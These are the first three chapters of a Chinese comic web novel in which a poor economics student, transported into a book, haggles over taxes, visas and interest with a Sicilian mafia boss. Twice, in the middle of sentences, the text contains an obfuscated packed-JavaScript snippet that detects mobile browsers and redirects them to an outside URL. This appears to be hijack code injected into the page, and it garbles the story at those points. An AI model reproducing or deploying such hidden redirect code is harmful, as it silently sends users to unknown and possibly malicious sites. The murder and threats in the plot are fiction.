《穿书留子,在线苟命》 1. chapter1 我,林恩,21岁,经济学留学生,穷得叮当响的那种。奖学金覆盖一半学费,剩下靠两份兼职死撑。三天前我还在图书馆啃《计量经济学导论》,熬到凌晨三点趴在桌上打了个盹,再睁眼就躺在一间破出租屋的地板上。 脑子还没转过弯来,原著的剧情就像弹幕一样疯狂刷屏。这本书我熟啊,当年老妹追的时候我在旁边打游戏听她大呼小叫好奇心没忍住瞄了几眼。男主洛伦佐·维斯科尼,23岁,意大利Mafia首领,黑发翠绿眼睛,表面优雅绅士,实际狠起来连亲叔都敢动。原书里他抢女主的时候顺手把男配林恩——对,就是我现在的这个身体——给绑了沉海,理由就一句话:“碍眼。” 我当时坐在地上,脑子里就一个念头:跑!立刻跑!离男主远点,离剧情线远点,让男女主自己去爱恨纠缠恨海情天缠缠绵绵到天涯。原书男配的死法太憋屈了,连个正经反派都不算,纯属被波及的路边野草。我一个经济学留学生,算得过边际成本和沉没成本,这种亏本买卖我为什么要接? 然后我就在去学校的路上迷路了。 别笑,意大利的小巷子是真的绕。谷歌地图在隧道里断断续续,我左拐右拐,拐进了一扇没关严的铁门。还没等我反应过来“这破地方怎么连个路灯都没有”的时候,仓库里面传来了激烈的争吵声。 意大利语。 很快,很凶,夹杂着大量我在听力考试都没听过的脏话。 别问我为什么知道,因为全世界脏话都一个感觉。 我的第一反应是:走错了,快跑。但我的脚比我的脑子更诚实,它踩到了一块生锈的铁皮。“哐当”一声,在安静的巷子里回荡得像教堂钟声。 争吵声戛然而止。 然后我听到了拉枪栓的声音。 我僵在原地,脑子里飞速运转着经济学101的原理:当你的边际成本趋近于无穷大时,立即止损。于是我高举双手,用这辈子最无辜的表情转过身,看到的场面足以让任何一个正常人的括约肌瞬间收紧。 六个穿着黑西装的大汉围着一张长桌,桌上堆着整整齐齐的白色小包,一看就是电影里那种“不能碰”的东西。其中两个大汉手里还端着枪,枪口正对着一个跪在地上、额头流血的中年男人。 那个中年男人嘴唇哆嗦着,看见我的瞬间,眼神里闪过一丝求救的光,但很快被绝望吞噬。 我还没开口,其中一个大汉已经朝我举起了枪。 “别别别别别——”我连滚带爬地往后退,中文意语英文三语齐飞,“Sono solo un turista! I''m just a lost student! 我什么都没看见!Non ho visto niente!” 那个大汉显然没听懂我那句“我什么都没看见”到底是哪国语言,但枪口并没有放下来。气氛凝固了大概三秒钟,然后仓库正门被人从外面一脚踹开了。 不是夸张,是真的踹开了。那种老旧的铁门整个飞了出去,砸在地上发出震耳欲聋的巨响。 我的心脏差点从嗓子眼里蹦出来。 门口站着一个人。 黑发,翠绿色的眼睛,纯黑色的西装外套随意搭在肩上,里面的衬衫袖口卷到小臂,露出一截精瘦但有力的手腕。他的五官是那种典型的地中海长相,深邃而锋利,像文艺复兴时期雕塑里走出来的,但浑身上下都散发着一种“别靠近我”的危险气息。 他的目光扫过仓库里的每一个人,最后在那个跪着的中年男人身上停了一秒。 然后他抬手,开枪。 枪声比我想象中的要小,但那个中年男人倒下去的动静比我想象的要大。“砰”的一声,人已经趴在地上了,血从额头下面慢慢洇开,在布满灰尘的水泥地上画出一朵暗红色的花。 我整个人都傻了。 不完全是因为第一次看到死人现场,更重要的是我终于认出了那双翠绿色的眼睛。 洛伦佐·维斯科尼,男主,这本书里最不能惹的存在。 原剧情里他把“我”沉海的时候,用的就是这双眼睛,面无表情地看着“我”在水里挣扎,像看一只落水的蚂蚁。 而此刻,这双眼睛正越过六个大汉的头顶,直直地看向我。 我发誓,我活了二十一年,从来没见过这么复杂的眼神。三分杀气,三分疑惑,三分“这人是不是有病”,还有一分大概是“我是不是应该顺便把他处理了”的思考。 六个大汉齐刷刷地低下头,齐声喊了句什么意大利语,我没听清,因为我的耳朵里全是自己心脏狂跳的声音。洛伦佐没理他们,径直走向我,皮鞋踩在碎玻璃上发出咯吱咯吱的声响,每一步都像踩在我的棺材板上。 他停在我面前,比我高了半个头,居高临下地俯视着我,翠绿色的眼睛里映着我惨白的脸。 “你是谁?”他用意大利语问。 我的脑子在这一刻做出了一个至关重要的判断:如果我说实话,说我是走错路的学生,以这位首领的行事风格,为了不留目击证人,我大概率会被顺手处理掉。如果我说假话,说我是某个帮派的人,那我就是送上门的活靶子。 所以我需要一个第三种答案。 一个足够离谱、足够无害、足够让人懒得动手的答案。 “我……我是留学生。”我用中文开口,特意把话说得结结巴巴,还夹着浓重的英语口音,“I''m sorry,我的意大利语……molto male,very bad。我迷路了,真的,我什么都不知道,per favore,请让我走。” 说完这段话的时候,我甚至能感觉到自己的嘴角在发抖。但我的表情管理做得很好,脸上写满了“我真的只是一个可怜无助又迷茫的外国学生”。 洛伦佐盯着我看了大概五秒钟,那五秒钟里我把自己从小到大做过的所有好事都想了一遍,包括小学捡到一块钱交给老师那次。 “留学生。”他重复了一遍这个词,用的是中文,普通话,发音居然挺标准,虽然没有抑扬顿挫那个味。 我疯狂点头:“对对对,留学生,学生,student,studente,纯粹的良民呸良好市民,连闯红灯都没有过。” 他又看了我两秒钟,然后微微偏头,对身后一个手下说了句什么。那个手下立刻上前,从那个已经倒地的中年男人身上搜出了一个手机,翻了几下,递过来。 洛伦佐接过手机,看了一眼屏幕,然后把它怼到我面前。屏幕上是一张照片,照片里是这间仓库的后门,门牌号清晰可见。 “你从这条路过来的?”他换了英语。 我看了眼照片,诚实地点了点头。 “为什么?” “因为……因为导航让我走这边。”我说完就后悔了,这个理由连我自己都不信。果然,洛伦佐嘴角微微抽了一下,那个表情介于“你在逗我”和“你是不是脑子有问题”之间。 他收起手机,往后退了一步,重新打量我。从我的球鞋,到我的牛仔裤,到我身上那件印着“我爱巴勒莫”的廉价卫衣,最后落在我手里那部屏幕碎了一角的旧手机上。 “哪个大学的?” “巴勒莫大学。” “学什么?” “经济学。”我顿了顿,又补了一句,“第二年。” 他点了点头,那表情像是在确认什么,然后说了句让我瞬间血液倒流的话:“带回去。” 等等。 带回去?带回哪去?带回你家?不对,带回你们组织? 我的脑子开始疯狂运转。根据我对这类小说的了解,“带回去”这三个字基本等同于“先留着观察一下,要是没什么用就处理掉”。 也就是说,我现在从一个“可能被顺手处理”的目击者,升级成了一个“可能被审完再处理”的嫌疑人。 区别不大,都是死路一条。 不行,我不能去。 我深吸一口气,用尽了这辈子所有的勇气,以及所有的意大利语单词量,说出了让在场所有人都愣住的一句话。 “对不起,我……我不能跟你们走。” 仓库里安静了整整两秒。洛伦佐的眉毛微微挑了一下,那表情就像看到一只兔子对着一头狼说“对不起,我不能给你吃”。 “为什么?”他的语气很平静,平静得让我毛骨悚然。 我咽了口唾沫,从口袋里掏出那部屏幕碎了一角但还在顽强工作的旧手机,打开翻译软件,飞速打下一段中文,然后点击翻译成意大利语,把屏幕对准他。 屏幕上写着:“对不起,我不能缺课。我们学校有全勤奖学金,一周内缺勤超过三次就没了。我的学费有一半靠这个奖学金撑着。” 洛伦佐低头看着屏幕。 我看着洛伦佐。 旁边的六个大汉也凑过来看了一眼,然后又飞快地缩回去了。 空气凝固了大概三秒钟。 然后我听到了一个声音。 很低,很短,像是从喉咙里挤出来的。一开始我没反应过来是什么,直到我看到洛伦佐的肩膀微微抖了一下,而他那张冷得像冰山一样的脸上,嘴角不受控制地上扬了一个像素点。 他在笑。 一种“这他妈什么鬼”的被气笑。翠绿色的眼睛里终于有了点温度,虽然那温度大概率是嘲讽。 “全勤奖学金?”他重复了一遍,中文那种抑扬顿挫的清晰感完全不像一个纯血意大利人。 我用力点头,继续用翻译软件打字:“是的,我的出勤率目前是百分之百,我不想因为这个事情前功尽弃。” 洛伦佐看着我,慢慢收起了笑容。他伸手拿过我的手机,看了一眼翻译软件上的中文原文,又看了一眼意大利语译文,然后抬起头,用一种审视智障的目光看着我。 “你觉得,”他一字一顿地说,声音里带着一种让人脊背发凉的耐心,“是命重要,还是上学重要?” 这个问题如果放在正常语境下,答案显而易见。但此刻,在这个刚死过人的仓库里,在这个杀人如麻的Mafia首领面前,我作为一名经济学的学生本能让我说出了一个让所有人都没有想到的回答。 “……除了奖学金,我还有两份兼职。如果无辜缺勤一个月,工资就没了。房租水电加上下学期的学费,这个缺口补不上。” 洛伦佐的听力显然比我想象的要好得多。他的眉毛又挑了一下,那双翠绿色的眼睛微微眯起来,像是第一次认真打量一个有趣的玩具。 “两份兼职?”他问。 既然已经说到这个份上了,我觉得再藏着掖着也没有意义了。我清了清嗓子,用一种平静而绝望的语气解释:“一份在中餐馆当服务生,每周三四五六的晚上。另一份在超市收银,周末全天。这两份工作加起来每个月能给我带来大概八百欧的收入,够我付房租水电和吃饭。但如果我今晚不出现,中餐馆那边就会默认我矿工,矿工一次扣五十欧,矿工三次直接开除。超市那边更严格,矿工一天扣双倍工资加全勤奖。我这个月到目前为止还没请过假,如果因为这件事——” “够了。”洛伦佐打断了我。 我以为他烦了,准备直接让人把我拖走。但没想到他深吸一口气,从西装内袋里抽出一个东西,动作行云流水,像是做过无数次一样自然。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449711|201143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那是一张卡。 黑色的,没有任何标识,只有右下角有一个小小的烫金符号,在仓库昏暗的灯光下闪着低调的光。 他把卡夹在修长的手指间,递到我面前,翠绿色的眼睛里带着一种“我看你还有什么话说”的挑衅。 “现在还有什么问题吗?” 我盯着那张卡看了两秒钟。 黑卡。 我没见过真的,但我看过小说,知道那玩意儿意味着什么。无限额度,全球通用,持卡人的身份基本等于“我想买什么就买什么”。 我抬起头,看着洛伦佐的脸,那张写满了“搞定了吧”的年轻俊脸上还带着一丝不易察觉的得意。 “有。”我说。 洛伦佐的表情僵了一瞬。 “你还有什么问题?” 我从口袋里掏出手机,打开计算器,飞快地算了一下汇率和手续费,然后抬起头,用一种极其真诚的目光看着他:“您能不能让我拿个刷卡机先确认一下卡里的额度?我怕万一刷不出来,到时候还要欠您人情,这样不好。” 六个大汉集体倒吸了一口凉气。 而我当然是认真的,谁知道这张卡里有没有钱?万一是个空头支票呢?我要是被白骗了,连哭的地方都没有。 洛伦佐的表情,怎么说呢,就像是被人用平底锅拍了一下脑袋,整个人都懵了一瞬间。那双翠绿色的眼睛瞪大了一点,嘴唇微微张开又合上,喉结上下滚动了一下,最后从牙缝里挤出一个字。 “你——” 他没有说完。因为他深吸了一口气,转过身去,对着空气做了一个我看不懂的手势,然后拿出手机拨了个电话。电话接通后,他用意大利语飞快地说了几句,语速太快我听不清内容,但最后一句我听清了。 “Sì, porta un POS.” ……他居然真让人拿POS机了。 十五分钟后,一个穿着定制西装、看起来像高级管家的男人气喘吁吁地跑进仓库,手里捧着一个POS机,脸上写满了“老板你大半夜的让我送这个是不是在逗我”。洛伦佐一把抢过POS机,转身递给我的时候,那表情分明在说“你要是敢再找茬我就真把你沉海”。 我接过POS机,认真地插卡,输入一个虚拟的验证金额,等待。 嘀。 交易成功。 屏幕上显示出的余额位数,我数了三遍,每一遍都让我怀疑自己的眼睛。 他双臂交叉,好整以暇地看着我,翠绿色的眼睛里全是看好戏的神情:“现在能走了吗?” 我把卡从POS机里抽出来,双手捧着递还给洛伦佐,态度恭敬得像在递交国书:“谢谢,卡没问题。但是——” “又但是?”洛伦佐的声音拔高了一个八度。 “能不能先让我去银行把这笔钱转到我的账户上?这张卡我没法日常用。”我用这辈子最快的语速说完,然后补充道,“我保证转完就回来,绝不跑路。” 洛伦佐看着我,翠绿色的眼睛里倒映着我那张诚恳到极点的脸。他沉默了五秒钟,然后从牙缝里挤出一句话:“你知不知道,你现在是在跟谁说话?” 我知道。Mafia首领,杀人不眨眼的狠角色,我面前这个男人今天刚在我面前杀了一个人。我应该害怕,应该瑟瑟发抖,应该跪地求饶。 但我的经济学知识本能告诉我,如果这张卡里的钱不能安全地转到我名下,那么今晚的一切风险就白冒了。 我做出一副认真而无辜的表情。 洛伦佐的脸色——怎么说呢——就是那种“我已经不知道该气还是该笑了”的表情。 “你要用我的黑卡,把钱转到你的账户里。” “对。” “然后呢?” “然后我就没什么问题了,我可以跟你走。” “你,”他一字一顿地说,“刚目睹了一个人死在你面前,现在最关心的事情是,你的账户?” 我想了想,觉得他说的好像也有道理。但转念一想,又觉得不对。 人已经死了,我又救不回来,但钱不抓紧转到自己账户上是真的每时每刻都在贬值啊。这不就是经济学教我的理性人假设吗? 当然我没敢把这段话说出来。 洛伦佐看了我好一会儿,最后说了一句:“明天早上去。” “为什么?” “因为银行关门了。” 我看了看时间,晚上七点四十,确实关门了。 “那行吧,”我说,“但我今晚还是得回去,我租的房子水电费这个月还没交,房东已经发了三条催款短信了,再不交他真的要赶我出去了。你看,这是短信截图——” 我举着手机给他看,屏幕上是原主的催款短信,第一条是意大利语,第二条是英语,第三条直接用中文写的:“林恩先生,再不交租我就把你行李扔出去。” 洛伦佐看了一眼屏幕,又看了一眼我,脸上的表情写满了“我到底在跟什么生物对话”。 他深吸一口气,说了句意大利语,我听不懂,但根据他手下的反应——有人在憋笑——大概是在骂人。 “明天,”他最终说,“明天我让人陪你去银行。” 我有点不放心:“那今天我能回去写作业吗?我明早还有一堂计量经济学——” “闭嘴。” 我闭嘴了,但我还是小声嘀咕了一句:“计量经济学真的很重要,教授讲得又快,不做作业复习第二天就跟不上了……” 洛伦佐闭上眼睛,额头上的青筋跳了跳。 他手下终于有人没憋住笑出了声,然后被洛伦佐一个眼神瞪了回去。 2. chapter2 别问,问就是我的教授今天讲VAR模型的时候,粉笔都拿不稳了——内容的确很难,但更让教授手颤的是教室后门口站了个一米九的黑西装壮汉,胸口鼓鼓囊囊的,不用猜都知道里面塞的是什么。 全班同学都以为是在拍电影,只有我知道,那个壮汉口袋里揣着的不是道具。 - 他的名字叫马可,是洛伦佐派来“护送”我去银行的人。 “护送”这个词是我美化过的,实际上就是监视。今天早上我出门的时候,楼下已经停了一辆黑色的玛莎拉蒂,马可靠在车门上,看见我就面无表情地说了句:“八点半的课,十一点半点结束,教授不拖堂的话,我们十一点四十出发。” 我当时就想问他怎么连我课表都知道,但转念一想,人家是Mafia,查个留学生课表跟查外卖账单一样简单。于是我把到嘴边的话咽了回去,乖乖去上课了。 但在上课的时候我完全没听进去。 我昨晚翻来覆去想了一整晚的一个问题:那张卡里的钱,我到底能不能转? 作为经济学留学生,我对意大利的税务和移民政策多少有点了解。学生签证对资金来源是有严格限制的。你不能有“不明来源的大额收入”,否则移民局会认为你在非法打工或者洗钱。轻则警告,重则遣返。而且奖学金申请需要提供财务状况证明,如果我的账户上突然多出一百万欧元…… 我打了个寒颤。 这笔钱,我要是真收了,我的签证可能就废了。 好不容易熬到下课,我背着书包走出教室,马可已经在走廊里等着了。他看我出来,二话不说就往外走,那架势跟押送犯人似的。我小跑着跟上去,脑子里飞速组织语言,琢磨着怎么跟他解释这个复杂的签证问题。 “那个,马可先生,”我追上他的步伐,“关于转账的事情,我想了想,可能有点问题。” 马可脚步没停:“什么问题?” “就是……”我斟酌了一下措辞,“我的签证是学生签证,每周只能合法打工20个小时。如果我的账户上突然多出一大笔钱,移民局会认为我在从事超出许可范围的收入活动,这会影响我的签证状态。” 马可的脚步终于慢了下来。他转过头看着我,脸上写满了“你他妈在说什么”。 “而且,”我越说越起劲,“如果这笔钱被认定为‘收入’,那我就要交税。但我的签证类型不允许我从事自由职业或者受雇工作,我连税号都没有。就算我想报税,我都不知道该填哪个表格。再退一步说,就算这笔钱是赠与,意大利的赠与税虽然不高,但申报程序特别复杂,需要公证人介入,还要在税务局备案——” “停。”马可抬起一只手,表情痛苦得像在听一个一年级小学生念微积分。 我停了一下,但没忍住又补了一句:“还有,我下学期要申请奖学金,奖学金的评审委员会会要求我提供银行流水和财务状况证明。如果看到我的账户里突然多出一百万欧元,他们一定会问我这笔钱是哪里来的。我说‘一个Mafia首领给我的’,你猜他们是信我还是直接报警?” 马可的表情已经不能用“痛苦”来形容了,那是一种“我为什么当初要干这行”的灵魂拷问。他站在原地,嘴唇微微颤抖,像是在做某种深度的精神挣扎。 然后他掏出手机,拨了个电话。 电话接通得很快,那头传来一个低沉的声音,说的是意大利语,我听不太清具体内容,但从马可的回应来看,对面的语气不算友好。马可用一种“我知道你很生气但请先听我解释”的语气飞快地说了一通,然后看了我一眼,又对着电话说了一句什么。 他挂了电话,深吸一口气。 “BOSS让你去前面的咖啡厅等着。他二十分钟后到。” 于是我就坐在了学校附近一家看起来就很贵的咖啡厅里,面前摆着一杯马可替我点的卡布奇诺咖啡,对面坐着面无表情的马可,旁边还站着一个不知道什么时候出现的、看起来像保镖的二号壮汉。 二十分钟后,咖啡厅的门被推开了。 洛伦佐走进来的时候,整个咖啡厅的空气都变了。不是夸张,是真的变了——原本在低声聊天的几个客人突然安静了,服务员端咖啡的手抖了一下,连收银台后面的大叔都下意识地站直了。 他今天穿的是一件黑色的高领毛衣,外面套了件深灰色的羊绒大衣,整个人看起来像是从意大利杂志封面上走下来的。但那双翠绿色的眼睛里写满了“我今天心情不太好”,或者说,写满了“林恩你最好给我一个合理的解释”。 他走到我对面坐下,大衣下摆随意地一撩,翘起二郎腿,翠绿色的眼睛直直地盯着我。 “说。” 一个字,意大利语,语气平淡得像在点一杯咖啡。但我能从马可瞬间绷紧的肩背看出来,这个字的重量远远不止一个字。 我深吸一口气,把刚才对马可说的那一套又原原本本地讲了一遍。从学生签证的限制,到奖学金申请的财务审查,到税务申报的程序问题,再到意大利的反洗钱法规——哦最后这个是我临时想起来的,因为在意大利,超过一定金额的现金交易和转账都会被银行上报给金融情报部门,万一被盯上了,我一个没后台的穷学生真的解释不清。 说完,我看着洛伦佐。 洛伦佐看着我。 咖啡馆里安静了大概五秒钟。吧台后面咖啡机的声音显得格外刺耳。 然后洛伦佐又一次笑了。 他的嘴角慢慢上扬,翠绿色的眼睛里却没有什么笑意,整个人散发出一种“你成功引起了我的注意”的气场。 可不是霸道总裁那种,是真·Mafia大BOSS那种。 “你,”他一字一顿地说,“一个留学生,在我面前,给我上税法课?” “不是上税法课,”我纠正道,“是在分析客观存在的法律风险。” 洛伦佐闭上眼睛,深吸一口气。那口气吸得又深又长,像是要把整个咖啡馆的氧气都抽干。然后他睁开眼睛,翠绿色的瞳孔里映出我那张认真到欠揍的脸。 “林恩,”他的声音压得很低,低到只有我能听见,“你知不知道为什么我现在还坐在这里跟你说话,而不是直接让人把你丢进海里?” 我摇了摇头。 “因为,”他顿了顿,翠绿色的眼睛里闪过一丝复杂的情绪,“你是第一个……第一个拿到我的卡之后,第一反应是‘我要交税’的人。” “……这不是应该的吗?” 美利坚还有句名言‘只有税收和死亡是无法避免的’呢,虽然这是老欧罗巴但几百年前都一家人。 洛伦佐的表情出现了一个肉眼可见的裂缝。 他盯着我看了两秒钟,然后突然站起身来,走到吧台那边。他跟马可低声说了几句意大利语,马可听完后瞪大了眼睛,飞快地点了点头,然后跑了出去。 洛伦佐走回来坐下的时候,脸上的表情已经恢复了那种惯常的冷静和傲慢。他重新十指交叉,翠绿色的眼睛直视着我。 “我可以解决你的问题。” “怎么解决?” “和维斯科尼家族签合同。” 我愣了一下:“……合同?” “维斯科尼家族需要一名财务分析顾问,”洛伦佐的声音不紧不慢,像是在谈一笔普通的生意,“负责对一些……商业项目,进行经济评估和风险分析。你有经济学的背景,虽然是大学生,但够用了。签了这份合同,你就是维斯科尼家族的正式顾问。顾问的收入属于合法劳务报酬,有完整的税务申报流程,你的学生签证允许你每周工作二十小时,我们就按二十小时算,时薪——你觉得多少合适?” 我张了张嘴,又闭上了。 这个方案,从纯粹的法律角度看,完美地解决了所有问题。有合同,有税单,有合法收入证明,银行不会怀疑,移民局挑不出毛病,教务处办公室也无话可说。 唯一的“小”问题是:这意味着我和维斯科尼家族建立了正式的雇佣关系。 也就是说,我和男主洛伦佐·维斯科尼——这本书里最危险的人——绑定了。 我沉默了很久,抬起头,看着洛伦佐。 “如果不签呢?”我认真地问。 洛伦佐的表情没有任何变化,但那双翠绿色的眼睛里闪过一丝光。他微微偏头,看了一眼窗外——窗外不远处就是大海,我在来的路上看见过,阳光洒在海面上,波光粼粼,美得像一幅画。 “你来的路上,”他的声音很轻很轻,“应该看到了那片海。” 我没说话。 “那片海底下,”他继续说,语气平淡得像在聊天气,“每年都要添几块石头。石头上绑着的人,都不太听话。” 他又笑了,嘴角弯起的弧度恰到好处,既不会显得太凶残,又足以让我的后背冒出一层冷汗。 “所以你的选择是,”他竖起两根修长的手指,“一,签合同,做顾问,合法合规地拿钱。二——” 他没有说二是什么,只是又看了一眼窗外的那片海。 我看了看窗外那片海。 签合同,等于和Mafia绑定,未来的剧情线大概率会把我卷进去,九死一生。 不签合同,等于现在就去死。 经济学原理告诉我:当两个选项都很差的时候,选择那个能够推迟风险暴露的。签合同至少能让我活着走出这家咖啡馆,而活着就意味着还有机会找到跑路的方案。 “我还有一个问题,”我小声说,“这份合同算劳务合同还是三方协议?我需要自己报税吗?还有,这个报酬金额是税前还是税后?” 洛伦佐的表情出现了一个极其细微的裂缝。 我赶紧补充:“因为如果是税前的话,我需要知道意大利的个人所得税税率是多少,不同收入档位的税率不一样,还有大区税和市政税也要考虑进去,实际到手金额可能比合同上写的少不少——” “林恩。”洛伦佐的声音很平静。 “嗯?” “你再多说一个字,”他微笑着说,翠绿色的眼睛弯成了好看的弧度,“我现在就把你扔海里去。” 我闭嘴了。 他盯着我看了三秒钟,确认我真的闭嘴了,才收回目光,用一种不耐烦的语气说:“税后。交税不用你管。带你回去之后,会有人给你解释清楚你现在唯一需要做的事情是——闭嘴,跟我去银行。” “那——”我本想问那合同是中文的还是意大利语的,我需要一个双语版本以防有看不懂的条款…… “林恩。” 到嘴边的话紧急拐弯。 “没问题,”我说,抱起《计量经济学导论》站起来,“那我们去银行吧。” 洛伦佐看了我一眼,那一眼里写满了“我终于理解什么叫‘秀才遇到兵’了”——不对,在这个情境下,应该是“兵遇到秀才”。 马可很快回来了,手里拿着车钥匙。我刚想拉开后座的门,就被打断了。 “坐前面。”洛伦佐头也不回地说。 “……为什么?” “因为我不想从后视镜里看到你的脸。” 我默默地关上了后座的门,坐进了副驾驶。 一路上没人说话,车里的气氛凝重得像暴风雨前的天空。我抱着书包坐在副驾驶,眼睛盯着车窗外的街景,脑子里飞速运转着合同的细节问题。 等等,加班费按1.5倍还是2倍算! 我张了张嘴,想说点什么。 后排传来一个冷冰冰的声音:“闭嘴。” 我闭上了嘴。 银行柜台前,洛伦佐亲自盯着我完成了转账操作。 柜员还是昨天那个柜员,看到我又来了,旁边站着的洛伦佐冷着脸不说话。柜员立刻脸色一变,立刻叫来了经理。经理亲自接待,全程笑容满面,服务态度好得像是欠了我一百万。 转账过程特别顺利,大概是洛伦佐站在的缘故,这次连手续都简化了很多。 我核对完回执单上的金额,确认无误,小心翼翼地把回执单折好放进钱包。不对,放进书包的内层拉链袋里,那里最安全。 “转完了?”洛伦佐问。 “转完了。”我说。 他转身要走,我站在原地没动。 我想起来一件事。 “那个,”我转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449712|201143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向马可,他刚刚下车时把我的手机收走了,“能不能把我的手机还给我?” 马可看了一眼洛伦佐,洛伦佐站在银行门口,背对着我们,不知道在看什么。马可犹豫了一下,从口袋里掏出我的手机递了过来。 我接过来一看,电量还剩百分之八,信号满格。我飞快地打开手机银行App,登录,看着账户余额,心情好得像中了彩票。 然后我点开了支付宝。 “你又在干什么?”马可凑过来,表情警惕。 “转钱,”我头也不抬地操作着,“我要把这笔钱的一部分转到支付宝的余额宝里。” 马可的表情出现了明显的裂痕:“……为什么?” “因为支付宝的利率比意大利的银行高啊,”我用一种“这还用问”的语气解释道,“余额宝的年化利率比意大利的银行活期存款高多了,虽然现在降了不少,但怎么说也有百分之二点几,比这边的零点几强多了。而且意大利的银行还要收账户管理费,每个月五欧,一年就是六十欧,相当于——” 我没有说完,因为一只手伸过来,把我的手机抽走了。 洛伦佐拿着我的手机,看了一眼屏幕上支付宝的页面,又看了一眼我,翠绿色的眼睛里写满了“我到底做错了什么要遇到你”。 “余额宝,”他重复了一遍这个词,发音还挺标准,“利息比银行高?” “对,”我点头,“虽然现在限额了,但——” “你,”他开口了,声音里带着一种疲惫的沙哑,“为了一个点的利息,要把钱转到中国的账户上?” “不是一个点,”我纠正道,“是一个多点。而且支付宝的货币基金是复利计息的,每天结算,长期来看差距还是很可观的。再说了,意大利的银行不仅不给利息,还要收账户管理费、转账手续费、ATM取现费——” “停。”洛伦佐抬手制止了我。 他闭上眼睛,深吸一口气。我注意到他的太阳穴附近的青筋跳了一下。 “马可。” 马可小跑过来。“BOSS?” 洛伦佐把手机扔给马可。“去买个新手机,iPhone最新款。下好支付宝,然后把钱转进去。” 马可接住手机,愣了一下。“……支付宝?” “你没听错。”洛伦佐的语气里带着一种“不要再让我重复第二遍”的危险信号。 马可看了看手机,看了看我,又看了看洛伦佐,脸上的表情写满了“我是不是穿越到了另一个次元”。但他没有多问,转身就跑,以一种“再不走就要被灭口”的速度。 十五分钟后,马可气喘吁吁地跑回来,手里拿着一个崭新的iPhone包装盒,递给我。 我愣了一下,接住袋子,从里面拿出那个崭新的手机。 屏幕亮起来的那一刻,我的手都在抖。 不是因为感动——好吧,有一点点感动,但主要是因为,这是最新款的iPhone Pro Max,我上次在苹果店里看到标价的时候,默默地把它放回了货架上,然后去隔壁买了一个二十九欧的充电宝。 “这个……这个我不能——” “你能。”洛伦佐的声音从身后传来,“把支付宝下了,转你的钱。转完了跟我走。” 我张了张嘴想说点什么,但看到他翠绿色眼睛里那个“你再敢废话一句我就把你丢海里去”的信号,非常识时务地闭上了嘴,低头开始研究这个意大利版本的iPhone怎么下载支付宝。 意大利的App Store默认地区是意大利,搜出来的支付宝是英文版的,我折腾了好一会儿才想起来要改地区。改完地区又提示我要验证Apple ID,验证完了又要重新登录iCloud,一套流程下来,我额头都冒汗了。 洛伦佐就靠在银行的墙上,双臂交叉,看着我手忙脚乱地折腾那个新手机。翠绿色的眼睛里,那个“这个人到底是从哪个星球来的”的意味越来越浓。 好不容易搞定了支付宝,登录,绑卡,转账。七万欧,按实时汇率转成人民币,确认,输入密码——等等,密码是什么来着? 我掏出旧手机翻了半天,找到了支付宝密码,顺便没忘记用手掌挡着输密码。 转账成功。 我长出了一口气,抬头看向洛伦佐,露出一个如释重负的笑容:“搞定了。谢谢你,这个手机——” “送你的。”洛伦佐瞥了一眼马可,抬腿往外走,马可立刻过来,把我的旧手机拿走了。 我跟上去,走了两步又停下来:“那个,老板,我下午还有课,高级宏观经济学,教授上节课说这周要讲索洛模型,这个挺重要的,我要是缺课的话后面就跟不上了——” 洛伦佐停下脚步。 他没有转身,但我能看到他的肩膀微微绷紧了一下。然后他缓缓转过头,翠绿色的眼睛半眯着,用一种极其平静的语气说了一句话。 “林恩。” “在。” “你想活命,还是想上课?” 我沉默了一秒钟。 “活命。”我说。 “那就上车。” 我乖乖地上了车。 坐在车里,我抱着那个新手机,看着窗外飞速后退的街景,默默地在心里给高级宏观经济学的教授道了个歉。抱歉教授,不是我不想上您的课,是我再不听话就要被沉海了。您也不想看到您的学生在第勒尼安海的海底研究索洛模型吧? 毕竟谁能想到二十四小时前,我还是一个为了奖学金不敢缺勤、为了房租被房东追着骂的穷留学生,二十四小时后,我就成了一个Mafia家族的“财务顾问”,口袋里揣着一部全新的iPhone,账户余额后面跟着一长串零。 而我甚至不知道,那个所谓的“财务分析顾问”,到底要分析什么。 我偷偷看了一眼副驾驶座上的洛伦佐。他正在看手机,侧脸被车窗外的光照得轮廓分明,翠绿色的眼睛微微眯着,表情平静得像一潭死水。 我收回目光,打开新手机,默默地把余额宝的自动转入功能设置好了。 不管后面会发生什么,至少利息是从今天开始算的。 3. chapter3 别问,问就是我现在的处境可以用一句话概括——被软禁在比五星级酒店还舒服的庄园里,每天纠结的只有一件事:我是该为了保命想办法跑路,还是该为了地暖再苟一天。 答案你们已经猜到了。 地暖赢了。 - 你们能想象吗?西西里岛的夜晚,我裹着一床比酒店还软的白鹅绒被,脚下踩着温度刚刚好的地暖,浴室里那个花洒的水压大到能把昨天沾在头发上的仓库灰尘冲得一干二净。 而我昨天还住在那间月租四百欧、热水器要烧半小时才能洗五分钟、暖气片跟冰棍一样凉的破出租屋里。 说真的,如果忽略“这栋房子的主人是个杀人不眨眼的Mafia”这个事实,我简直想给这个住宿条件打五星好评。 事情要从三个小时前说起。 在漫长的车程中,我已经放弃问“为什么是我”这种没有意义的问题了。经济学教会我的第一课就是:沉没成本不是成本,纠结过去没有意义,重要的是面向未来——也就是我还能不能活到期末考。 车沿着海岸线开了大概四十分钟,穿过一道又一道我不认识的大门,最终停在了一栋让我下巴差点脱臼的建筑面前。 